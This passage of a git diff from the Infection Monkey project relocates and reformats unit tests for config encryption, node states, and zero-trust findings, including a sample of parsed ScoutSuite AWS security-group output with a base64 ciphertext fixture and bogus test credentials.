"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" + "+KMo2IbesHjbswZfUpvw" +) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py new file mode 100644 index 000000000..fd3191f50 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -0,0 +1,40 @@ +import pytest +from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption_test import ( + MALFORMED_CIPHER_TEXT_CORRUPTED, + VALID_CIPHER_TEXT, +) + +from monkey_island.cc.services.utils.encryption import ( + InvalidCredentialsError, + decrypt_ciphertext, + encrypt_string, +) + +MONKEY_CONFIGS_DIR_PATH = "monkey_configs" +STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" +PASSWORD = "hello123" +INCORRECT_PASSWORD = "goodbye321" + + +@pytest.mark.slow +def test_encrypt_decrypt_string(monkey_config_json): + encrypted_config = encrypt_string(monkey_config_json, PASSWORD) + assert decrypt_ciphertext(encrypted_config, PASSWORD) == monkey_config_json + + +@pytest.mark.slow +def test_decrypt_string__wrong_password(monkey_config_json): + with pytest.raises(InvalidCredentialsError): + decrypt_ciphertext(VALID_CIPHER_TEXT, INCORRECT_PASSWORD) + + +@pytest.mark.slow +def test_decrypt_string__malformed_corrupted(): + with pytest.raises(ValueError): + decrypt_ciphertext(MALFORMED_CIPHER_TEXT_CORRUPTED, PASSWORD) + + +@pytest.mark.slow +def test_decrypt_string__no_password(monkey_config_json): + with pytest.raises(InvalidCredentialsError): + decrypt_ciphertext(VALID_CIPHER_TEXT, "") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_node_states.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_node_states.py new file mode 100644 index 000000000..e39a0c246 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_node_states.py @@ -0,0 +1,20 @@ +from unittest import TestCase + +from monkey_island.cc.services.utils.node_states import NodeStates, NoGroupsFoundException + + +class TestNodeStates(TestCase): + def test_get_group_by_keywords(self): + self.assertEqual(NodeStates.get_by_keywords(["island"]), NodeStates.ISLAND) + self.assertEqual( + NodeStates.get_by_keywords(["running", "linux", "monkey"]), + NodeStates.MONKEY_LINUX_RUNNING, + ) + self.assertEqual( + NodeStates.get_by_keywords(["monkey", "linux", "running"]), + NodeStates.MONKEY_LINUX_RUNNING, + ) + with self.assertRaises(NoGroupsFoundException): + NodeStates.get_by_keywords( + ["bogus", "values", "from", "long", "list", "should", "fail"] + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py similarity index 64% rename from monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py index a53ef70c8..4440d822e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py @@ -1,25 +1,28 @@ from monkey_island.cc.services.zero_trust.monkey_findings import monkey_zt_details_service -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( + MonkeyZTDetailsService, +) def test__remove_redundant_events(monkeypatch): - monkeypatch.setattr(monkey_zt_details_service, 'MAX_EVENT_FETCH_CNT', 6) + monkeypatch.setattr(monkey_zt_details_service, "MAX_EVENT_FETCH_CNT", 6) - # No events are redundant, 8 events in the database, but we display only 6 (3 latest and 3 oldest) - latest_events = ['6', '7', '8'] - _do_redundant_event_removal_test(latest_events, 8, ['6', '7', '8']) + # No events are redundant, 8 events in the database, but we display only 6 (3 latest and 3 + # oldest) + latest_events = ["6", "7", "8"] + _do_redundant_event_removal_test(latest_events, 8, ["6", "7", "8"]) # All latest events are redundant (only 3 events in db and we fetched them twice) - latest_events = ['1', '2', '3'] + latest_events = ["1", "2", "3"] _do_redundant_event_removal_test(latest_events, 3, []) # Some latest events are redundant (5 events in db and we fetched 3 oldest and 3 latest) - latest_events = ['3', '4', '5'] - _do_redundant_event_removal_test(latest_events, 5, ['4', '5']) + latest_events = ["3", "4", "5"] + _do_redundant_event_removal_test(latest_events, 5, ["4", "5"]) # None of the events are redundant (6 events in db and we fetched 3 oldest and 3 latest) - latest_events = ['4', '5', '6'] - _do_redundant_event_removal_test(latest_events, 6, ['4', '5', '6']) + latest_events = ["4", "5", "6"] + _do_redundant_event_removal_test(latest_events, 6, ["4", "5", "6"]) # No events fetched, should return empty array also latest_events = [] diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py similarity index 56% rename from monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index 80df71786..6248be02c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -6,43 +6,45 @@ from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService -from monkey_island.cc.test_common.fixtures import FixtureEnum +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) EVENTS = [ Event.create_event( - title='Process list', - message='Monkey on gc-pc-244 scanned the process list', - event_type='monkey_local', - timestamp=datetime.strptime('2021-01-19 12:07:17.802138', '%Y-%m-%d %H:%M:%S.%f') + title="Process list", + message="Monkey on gc-pc-244 scanned the process list", + event_type="monkey_local", + timestamp=datetime.strptime("2021-01-19 12:07:17.802138", "%Y-%m-%d %H:%M:%S.%f"), ), Event.create_event( - title='Communicate as new user', - message='Monkey on gc-pc-244 couldn\'t communicate as new user. ' - 'Details: System error 5 has occurred. Access is denied.', - event_type='monkey_network', - timestamp=datetime.strptime('2021-01-19 12:22:42.246020', '%Y-%m-%d %H:%M:%S.%f') - ) + title="Communicate as new user", + message="Monkey on gc-pc-244 couldn't communicate as new user. " + "Details: System error 5 has occurred. Access is denied.", + event_type="monkey_network", + timestamp=datetime.strptime("2021-01-19 12:22:42.246020", "%Y-%m-%d %H:%M:%S.%f"), + ), ] TESTS = [ zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER + zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, ] STATUS = [ zero_trust_consts.STATUS_PASSED, zero_trust_consts.STATUS_FAILED, - zero_trust_consts.STATUS_VERIFY + zero_trust_consts.STATUS_VERIFY, ] class TestMonkeyZTFindingService: - - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_create_or_add_to_existing_creation(self): # Create new finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]) + MonkeyZTFindingService.create_or_add_to_existing( + test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] + ) # Assert that it was properly created findings = list(Finding.objects()) assert len(findings) == 1 @@ -52,20 +54,26 @@ class TestMonkeyZTFindingService: assert len(finding_details.events) == 1 assert finding_details.events[0].message == EVENTS[0].message - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_create_or_add_to_existing_addition(self): # Create new finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]) + MonkeyZTFindingService.create_or_add_to_existing( + test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] + ) # Assert that there's only one finding assert len(Finding.objects()) == 1 # Add events to an existing finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[1]]) + MonkeyZTFindingService.create_or_add_to_existing( + test=TESTS[0], status=STATUS[0], events=[EVENTS[1]] + ) # Assert there's still only one finding, only events got appended assert len(Finding.objects()) == 1 assert len(Finding.objects()[0].details.fetch().events) == 2 # Create new finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[1], status=STATUS[1], events=[EVENTS[1]]) + MonkeyZTFindingService.create_or_add_to_existing( + test=TESTS[1], status=STATUS[1], events=[EVENTS[1]] + ) # Assert there was a new finding created, because test and status is different assert len(MonkeyFinding.objects()) == 2 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py new file mode 100644 index 000000000..9905868af --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/raw_scoutsute_data.py @@ -0,0 +1,169 @@ +# This is what our codebase receives after running ScoutSuite module. +# Object '...': {'...': '...'} represents continuation of similar objects as above +RAW_SCOUTSUITE_DATA = { + "sg_map": { + "sg-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, + "sg-abcd": {"region": "ap-northeast-2", "vpc_id": "vpc-abc"}, + "...": {"...": "..."}, + }, + "subnet_map": { + "subnet-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, + "subnet-abcd": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, + "...": {"...": "..."}, + }, + "provider_code": "aws", + "provider_name": "Amazon Web Services", + "environment": None, + "result_format": "json", + "partition": "aws", + "account_id": "125686982355", + "last_run": { + "time": "2021-02-05 16:03:04+0200", + "run_parameters": { + "services": [], + "skipped_services": [], + "regions": [], + "excluded_regions": [], + }, + "version": "5.10.0", + "ruleset_name": "default", + "ruleset_about": "This ruleset", + "summary": { + "ec2": { + "checked_items": 3747, + "flagged_items": 262, + "max_level": "warning", + "rules_count": 28, + "resources_count": 176, + }, + "s3": { + "checked_items": 88, + "flagged_items": 25, + "max_level": "danger", + "rules_count": 18, + "resources_count": 5, + }, + "...": {"...": "..."}, + }, + }, + "metadata": { + "compute": { + "summaries": { + "external attack surface": { + "cols": 1, + "path": "service_groups.compute.summaries.external_attack_surface", + "callbacks": [["merge", {"attribute": "external_attack_surface"}]], + } + }, + "...": {"...": "..."}, + }, + "...": {"...": "..."}, + }, + # This is the important part, which we parse to get resources + "services": { + "ec2": { + "regions": { + "ap-northeast-1": { + "vpcs": { + "vpc-abc": { + "id": "vpc-abc", + "security_groups": { + "sg-abc": { + "name": "default", + "rules": { + "ingress": { + "protocols": { + "ALL": { + "ports": { + "1-65535": { + "cidrs": [{"CIDR": "0.0.0.0/0"}] + } + } + } + }, + "count": 1, + }, + "egress": { + "protocols": { + "ALL": { + "ports": { + "1-65535": { + "cidrs": [{"CIDR": "0.0.0.0/0"}] + } + } + } + }, + "count": 1, + }, + }, + } + }, + } + }, + "...": {"...": "..."}, + } + }, + # Interesting info, maybe could be used somewhere in the report + "external_attack_surface": { + "52.52.52.52": { + "protocols": {"TCP": {"ports": {"22": {"cidrs": [{"CIDR": "0.0.0.0/0"}]}}}}, + "InstanceName": "InstanceName", + "PublicDnsName": "ec2-52-52-52-52.eu-central-1.compute.amazonaws.com", + } + }, + # We parse these into ScoutSuite security rules + "findings": { + "ec2-security-group-opens-all-ports-to-all": { + "description": "Security Group Opens All Ports to All", + "path": "ec2.regions.id.vpcs.id.security_groups" + ".id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", + "level": "danger", + "display_path": "ec2.regions.id.vpcs.id.security_groups.id", + "items": [ + "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups" + ".sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" + ], + "dashboard_name": "Rules", + "checked_items": 179, + "flagged_items": 2, + "service": "EC2", + "rationale": "It was detected that all ports in the security group are " + "open <...>", + "remediation": None, + "compliance": None, + "references": None, + }, + "...": {"...": "..."}, + }, + }, + "...": {"...": "..."}, + }, + "service_list": [ + "acm", + "awslambda", + "cloudformation", + "cloudtrail", + "cloudwatch", + "config", + "directconnect", + "dynamodb", + "ec2", + "efs", + "elasticache", + "elb", + "elbv2", + "emr", + "iam", + "kms", + "rds", + "redshift", + "route53", + "s3", + "ses", + "sns", + "sqs", + "vpc", + "secretsmanager", + ], + "service_groups": {"...": {"...": "..."}}, +} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py new file mode 100644 index 000000000..819d6fe76 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py @@ -0,0 +1,48 @@ +from enum import Enum + +import pytest +from tests.unit_tests.monkey_island.cc.services.zero_trust.raw_scoutsute_data import ( + RAW_SCOUTSUITE_DATA, +) + +from common.utils.exceptions import RulePathCreatorNotFound +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser + + +class ExampleRules(Enum): + NON_EXSISTENT_RULE = "bogus_rule" + + +ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL + +EXPECTED_RESULT = { + "description": "Security Group Opens All Ports to All", + "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" + ".cidrs.id.CIDR", + "level": "danger", + "display_path": "ec2.regions.id.vpcs.id.security_groups.id", + "items": [ + "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups." + "sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" + ], + "dashboard_name": "Rules", + "checked_items": 179, + "flagged_items": 2, + "service": "EC2", + "rationale": "It was detected that all ports in the security group are open <...>", + "remediation": None, + "compliance": None, + "references": None, +} + + +def test_get_rule_data(): + # Test proper parsing of the raw data to rule + results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ALL_PORTS_OPEN) + assert results == EXPECTED_RESULT + + with pytest.raises(RulePathCreatorNotFound): + RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ExampleRules.NON_EXSISTENT_RULE) + pass diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py similarity index 57% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index c35e55a8f..faea76f4f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -1,22 +1,23 @@ from unittest.mock import MagicMock -import pytest import dpath.util +import pytest -from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils import encryptor -from monkey_island.cc.services.config import ConfigService from common.config_value_paths import AWS_KEYS_PATH -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import is_aws_keys_setup -from monkey_island.cc.test_common.fixtures import FixtureEnum +from monkey_island.cc.database import mongo +from monkey_island.cc.server_utils.encryptor import get_encryptor, initialize_encryptor +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( + is_aws_keys_setup, +) class MockObject: pass -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) -def test_is_aws_keys_setup(): +@pytest.mark.usefixtures("uses_database") +def test_is_aws_keys_setup(tmp_path): # Mock default configuration ConfigService.init_default_config() mongo.db = MockObject() @@ -26,8 +27,13 @@ def test_is_aws_keys_setup(): assert not is_aws_keys_setup() # Make sure noone changed config path and broke this function - bogus_key_value = encryptor.encryptor.enc('bogus_aws_key') - dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_secret_access_key'], bogus_key_value) - dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_access_key_id'], bogus_key_value) + initialize_encryptor(tmp_path) + bogus_key_value = get_encryptor().enc("bogus_aws_key") + dpath.util.set( + ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value + ) + dpath.util.set( + ConfigService.default_config, AWS_KEYS_PATH + ["aws_access_key_id"], bogus_key_value + ) assert is_aws_keys_setup() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py new file mode 100644 index 000000000..d389ce904 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py @@ -0,0 +1,66 @@ +from copy import deepcopy + +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 + RULES, +) + +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import ( + RULE_LEVEL_DANGER, + RULE_LEVEL_WARNING, +) +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( + ScoutSuiteRuleService, +) + +example_scoutsuite_data = { + "checked_items": 179, + "compliance": None, + "dashboard_name": "Rules", + "description": "Security Group Opens All Ports to All", + "flagged_items": 2, + "items": [ + "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", + ], + "level": "danger", + "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" + ".cidrs.id.CIDR", + "rationale": "It was detected that all ports in the security group are open, " + "and any source IP address" + " could send traffic to these ports, which creates a wider attack surface " + "for resources " + "assigned to it. Open ports should be reduced to the minimum needed to " + "correctly", + "references": [], + "remediation": None, + "service": "EC2", +} + + +def test_get_rule_from_rule_data(): + assert ScoutSuiteRuleService.get_rule_from_rule_data(example_scoutsuite_data) == RULES[0] + + +def test_is_rule_dangerous(): + test_rule = deepcopy(RULES[0]) + assert ScoutSuiteRuleService.is_rule_dangerous(test_rule) + + test_rule.level = RULE_LEVEL_WARNING + assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) + + test_rule.level = RULE_LEVEL_DANGER + test_rule.items = [] + assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) + + +def test_is_rule_warning(): + test_rule = deepcopy(RULES[0]) + assert not ScoutSuiteRuleService.is_rule_warning(test_rule) + + test_rule.level = RULE_LEVEL_WARNING + assert ScoutSuiteRuleService.is_rule_warning(test_rule) + + test_rule.items = [] + assert not ScoutSuiteRuleService.is_rule_warning(test_rule) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py similarity index 85% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py index 549d3161e..33e9fd34b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -1,15 +1,18 @@ import pytest +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 + RULES, + SCOUTSUITE_FINDINGS, +) from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES, SCOUTSUITE_FINDINGS -from monkey_island.cc.test_common.fixtures import FixtureEnum +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ( + ScoutSuiteZTFindingService, +) class TestScoutSuiteZTFindingService: - - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_process_rule(self): # Creates new PermissiveFirewallRules finding with a rule ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[0]) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py new file mode 100644 index 000000000..31cd709b9 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/example_finding_data.py @@ -0,0 +1,83 @@ +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( + get_monkey_finding_dto, + get_scoutsuite_finding_dto, +) + +from common.common_consts import zero_trust_consts + + +def save_example_findings(): + # devices passed = 1 + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED, + ) + # devices passed = 2 + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED, + ) + # devices failed = 1 + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED + ) + # people verify = 1 + # networks verify = 1 + _save_finding_with_status( + "scoutsuite", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY + ) + # people verify = 2 + # networks verify = 2 + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY + ) + # data failed 1 + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + ) + # data failed 2 + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED, + ) + # data failed 3 + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + ) + # data failed 4 + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + ) + # data failed 5 + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED, + ) + # data verify 1 + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY + ) + # data verify 2 + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY + ) + # data passed 1 + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_PASSED, + ) + + +def _save_finding_with_status(finding_type: str, test: str, status: str): + if finding_type == "scoutsuite": + finding = get_scoutsuite_finding_dto() + else: + finding = get_monkey_finding_dto() + finding.test = test + finding.status = status + finding.save() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py new file mode 100644 index 000000000..838035cbf --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -0,0 +1,32 @@ +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import ( + get_monkey_details_dto, +) +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 + get_scoutsuite_details_dto, +) + +from common.common_consts.zero_trust_consts import ( + STATUS_FAILED, + STATUS_PASSED, + TEST_ENDPOINT_SECURITY_EXISTS, + TEST_SCOUTSUITE_SERVICE_SECURITY, +) +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding + + +def get_scoutsuite_finding_dto() -> Finding: + scoutsuite_details = get_scoutsuite_details_dto() + scoutsuite_details.save() + return ScoutSuiteFinding( + test=TEST_SCOUTSUITE_SERVICE_SECURITY, status=STATUS_FAILED, details=scoutsuite_details + ) + + +def get_monkey_finding_dto() -> Finding: + monkey_details = 